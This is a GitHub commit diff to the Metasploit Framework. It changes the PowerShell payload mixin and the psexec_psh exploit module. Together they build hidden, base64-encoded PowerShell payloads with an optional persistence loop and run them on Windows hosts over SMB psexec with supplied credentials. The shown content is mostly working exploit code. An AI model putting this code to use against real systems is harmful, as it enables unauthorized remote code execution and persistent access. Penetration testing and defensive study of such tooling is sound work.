Skip to content

Commit 7e9ad4a

Browse files
author
RageLtMan
committed
Merge branch 'powershell_import' of github.com:sempervictus/metasploit-framework into powershell_import_post
2 parents 1fa5107 + 2c850d8 commit 7e9ad4a

File tree

2 files changed

+35
-22
lines changed

2 files changed

+35
-22
lines changed

lib/msf/core/exploit/powershell.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,9 @@ def initialize(info = {})
1111
super
1212
register_advanced_options(
1313
[
14-
OptBool.new('RUN_WOW64', [
14+
OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
15+
OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
16+
OptBool.new('PSH::RUN_WOW64', [
1517
false,
1618
'Execute powershell in 32bit compatibility mode, payloads need native arch',
1719
false
@@ -98,22 +100,22 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
98100
#
99101
# Creates cmd script to execute psh payload
100102
#
101-
def cmd_psh_payload(pay, old_psh=false)
103+
def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
102104
# Allow powershell 1.0 format
103105
if old_psh
104106
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
105107
else
106108
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
107109
end
108110
# Run our payload in a while loop
109-
if datastore['PERSIST']
111+
if datastore['PSH::PERSIST']
110112
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
111113
sleep_time = rand(5)+5
112114
psh_payload = "function #{fun_name}{#{psh_payload}};"
113115
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
114116
end
115117
# Determine appropriate architecture, manual method reduces script size
116-
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
118+
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
117119
# Wrap in hidden runtime
118120
psh_payload = run_hidden_psh(psh_payload,ps_bin)
119121
# Convert to base64 for -encodedcommand execution

modules/exploits/windows/smb/psexec_psh.rb

Lines changed: 29 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,21 @@
11
# -*- coding: binary -*-
22

3+
##
4+
# This file is part of the Metasploit Framework and may be subject to
5+
# redistribution and commercial restrictions. Please see the Metasploit
6+
# web site for more information on licensing and terms of use.
7+
# http://metasploit.com/
8+
##
9+
310
require 'msf/core'
11+
require 'msf/core/exploit/powershell'
412

513
class Metasploit3 < Msf::Exploit::Remote
6-
Rank = ManualRanking
14+
Rank = ManualRanking
715

816
# Exploit mixins should be called first
917
include Msf::Exploit::Remote::SMB::Psexec
1018
include Msf::Exploit::Powershell
11-
include Msf::Auxiliary::Report
12-
include Msf::Exploit::EXE
1319

1420
def initialize(info = {})
1521
super(update_info(info,
@@ -29,7 +35,8 @@ def initialize(info = {})
2935
},
3036

3137
'Author' => [
32-
'RageLtMan <rageltman[at]sempervictus'
38+
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
39+
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
3340
],
3441

3542
'License' => MSF_LICENSE,
@@ -48,9 +55,11 @@ def initialize(info = {})
4855
'Platform' => 'win',
4956
'Targets' =>
5057
[
51-
[ 'Automatic', { } ],
58+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
59+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
5260
],
5361
'DefaultTarget' => 0,
62+
'DisclosureDate' => 'Jan 01 1999',
5463
'References' => [
5564
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
5665
[ 'OSVDB', '3106'],
@@ -61,43 +70,45 @@ def initialize(info = {})
6170
))
6271

6372
register_options([
64-
OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
65-
OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]),
6673
OptBool.new('DryRun',[false,'dry run',false]),
6774
], self.class)
6875
end
6976

7077

7178
def exploit
72-
command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD'])
79+
command = cmd_psh_payload(payload.encoded)
7380
if datastore['DryRun']
7481
print_good command
7582
return
7683
end
7784

78-
#Try and authenticate with given credentials
85+
if datastore['PSH::RUN_WOW64'] and target_arch.first == "x86_64"
86+
fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
87+
end
88+
89+
# Try and authenticate with given credentials
7990
if connect
8091
begin
8192
smb_login
8293
rescue StandardError => autherror
83-
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
84-
return
94+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
95+
ensure
96+
disconnect
8597
end
8698
# Execute the powershell command
99+
print_status("#{peer} - Executing the payload...")
87100
begin
88-
print_status("#{peer} - Executing the payload...")
89-
#vprint_good(command)
90101
return psexec(command)
91102
rescue StandardError => exec_command_error
92-
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
93-
return false
94-
end
95-
disconnect
103+
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
104+
ensure
105+
disconnect
106+
end
96107
end
97108
end
98109

99110
def peer
100111
return "#{rhost}:#{rport}"
101112
end
102-
103113
end
114+

0 commit comments

Comments
 (0)